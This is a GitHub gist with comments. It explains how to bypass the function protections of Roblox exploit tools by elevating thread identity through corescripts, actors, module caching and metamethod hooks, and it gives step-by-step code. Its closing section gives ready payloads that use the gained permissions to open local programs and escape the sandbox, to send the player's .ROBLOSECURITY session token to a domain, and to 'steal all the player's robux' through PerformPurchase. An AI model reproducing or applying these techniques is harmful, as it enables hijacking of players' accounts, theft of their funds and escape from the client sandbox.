Skip to content

Instantly share code, notes, and snippets.

@TheGreatSageEqualToHeaven
Last active October 12, 2024 16:08
Show Gist options
  • Save TheGreatSageEqualToHeaven/969422baa43854d717bb651f6edda4b3 to your computer and use it in GitHub Desktop.
Save TheGreatSageEqualToHeaven/969422baa43854d717bb651f6edda4b3 to your computer and use it in GitHub Desktop.
bypassing blocked function protections using corescripts

bypassing blocked function protections using corescripts

author: James Napora.


roblox and exploit fundamentals

  • corescripts have RobloxScript permissions on Roblox.
  • exploit function protections do not run on any threads except exploit threads.
  • roblox has several permission levels: None, Plugin, LocalUser, RobloxScript and Roblox.
  • actors on Roblox run whenever a script under it has a client run context, e.g local scripts, scripts with RunContext.Client and corescripts.
  • scripts under actors share the same global state
  • corescripts have their own global state if they are not running under an actor

roblox require behaviour and how they can be abused to allow corescripts to require modules

let's talk a bit about roblox's require implementation.

some corescripts use a CoreUtility because roblox does not have WaitForChildOfClass and WaitForChildWhichIsA by default

local CoreUtility = {}

function CoreUtility.waitForChildOfClass(parent, className)
	local child = parent:FindFirstChildOfClass(className)
	while not child or child.ClassName ~= className do
		child = parent.ChildAdded:Wait()
	end
	return child
end

function CoreUtility.waitForChildWhichIsA(parent, className)
	local child = parent:FindFirstChildWhichIsA(className)
	while not child or not child:IsA(className) do
		child = parent.ChildAdded:Wait()
	end
	return child
end

return CoreUtility

if we were to replace the original CoreUtility module with a malicious fork that runs malicious code in waitForChildOfClass, we would be greeted with a Cannot require a non-RobloxScript module from a RobloxScript. however if we were to manage to elevate the thread identity of the module to level 6 it would work perfectly and require without issues.

roblox also has a cache in the global state for all modules that prevents them from ever garbage collecting but lets modules be shared across all scripts in the game. if a module is cached the Cannot require a non-RobloxScript module from a RobloxScript error is avoided and returns the cached result from the global state.


abusing an actor to run on a corescript with run_on_actor

step 1.a: adding a corescript to the actor with AddCoreScriptLocal

the simplest way to create an actor with a running corescript is ScriptContext:AddCoreScriptLocal.

game:GetService("ScriptContext"):AddCoreScriptLocal("CoreScripts/ProximityPrompt", actor)

step 1.b: adding a corescript to the actor before corescript jobs run

another way to create an actor with a running corescript is if your exploit's auto-execute jobs run before the core-script jobs, it is possible to move the corescript to an actor before it runs with setparentinternal and similar functions.

step 2.a: requiring a pre-made module with run_on_actor

we now need to elevate the module's identity when it runs, this can be done with getfenv and set_thread_identity.

if getfenv(2).set_thread_identity then
	getfenv(2).set_thread_identity(6)
end 	

local CoreUtility = {}
...

step 2.b: hooking Instance metamethods

instead of having a pre-made malicious module we can also repeat what we did earlier but instead we can hook the Instance metamethods that the corescripts will have to use, and then can achieve a more dynamic and fluid approach to running malicious code.

local mt = debug.getmetatable(game)
make_writeable(mt)

local payload_ran = false
local old = mt.__namecall
mt.__namecall = function(...)
   if payload_ran == false then 
      payload_ran = true
      --/* Anything ran here will be completely unprotected */
   end
   
   return old(...)
end

step 3: adding a new corescript

now that we have an elevated module with an active actor we need to either rerun our original actor by reparenting it or by adding a new actor ScriptContext:AddCoreScriptLocal, then once it requires our malicious module it will the malicious code in our functions.


abusing an actor to run on a corescript without run_on_actor

if your exploit environment lacks run_on_actor what you can do instead is abuse module caching. if a module is already cached in the global state and if your exploit doesn't modify require, it will return the cached module for you with your malicious function.

by replacing the original module a corescript will require with our malicious copy and then requiring it in pre-made localscript that is parented under an actor and then adding a new corescript under the same actor, we can successfully bypass the thread identity check.

refer to the last section for other key details.


other approaches

if your exploit environment supports fire_signal or get_connections it is possible they can fire an actor's connections, which includes the corescript's connections. Through this you can send unsansitized data and attempt to have blocked functions called this way.


how to properly abuse RobloxScript permissions

several opportunities are opened up with unrestricted RobloxScript permissions.

MessageBusService becomes completely unrestricted and we can abuse the many Roblox messages it exposes, we can also access the openUrlRequest messages which lets us escape the sandbox trivially.

game:GetService("MessageBusService"):Publish(game:GetService("MessageBusService"):GetMessageId("Linking", "openURLRequest"), {url = "notepad.exe"})

we can use HttpService:RequestInternal and GuiService:OpenBrowserWindow to send a request to a domain with the player's .ROBLOSECURITY token.

game:GetService("HttpService"):RequestInternal{Url = "https://www.google.com/"}
game:GetService("GuiService"):OpenBrowserWindow("https://www.google.com/")

MarketplaceService is also unrestricted and allows to us to steal all the player's robux.

print(game:GetService("MarketplaceService"):GetRobuxBalance())
game:GetService("MarketplaceService"):PerformPurchase()
@bardium
Copy link

bardium commented Jun 20, 2024

how do u get around the page encryption

@IvanTheProtogen
Copy link

Very excellent.

@playervalley
Copy link

very cool finding

@elitefps
Copy link

very excellent thanks for this :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment